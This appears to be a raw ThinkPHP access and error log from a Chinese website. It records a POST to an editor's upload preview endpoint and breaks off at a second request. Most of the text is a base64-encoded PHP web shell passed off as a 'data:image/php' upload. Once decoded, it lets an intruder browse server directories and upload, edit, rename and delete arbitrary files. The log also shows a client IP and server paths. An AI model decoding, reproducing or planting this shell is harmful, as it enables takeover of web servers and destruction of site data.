'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:54+08:00 ] 116.213.36.234 POST www.51tianwei.com/common/static/plugin/ueditor/1.4.3.3/ueditor.config.js [运行时间:0.002542s] [吞吐率:393.39req/s] [内存消耗:196.81kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'common', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 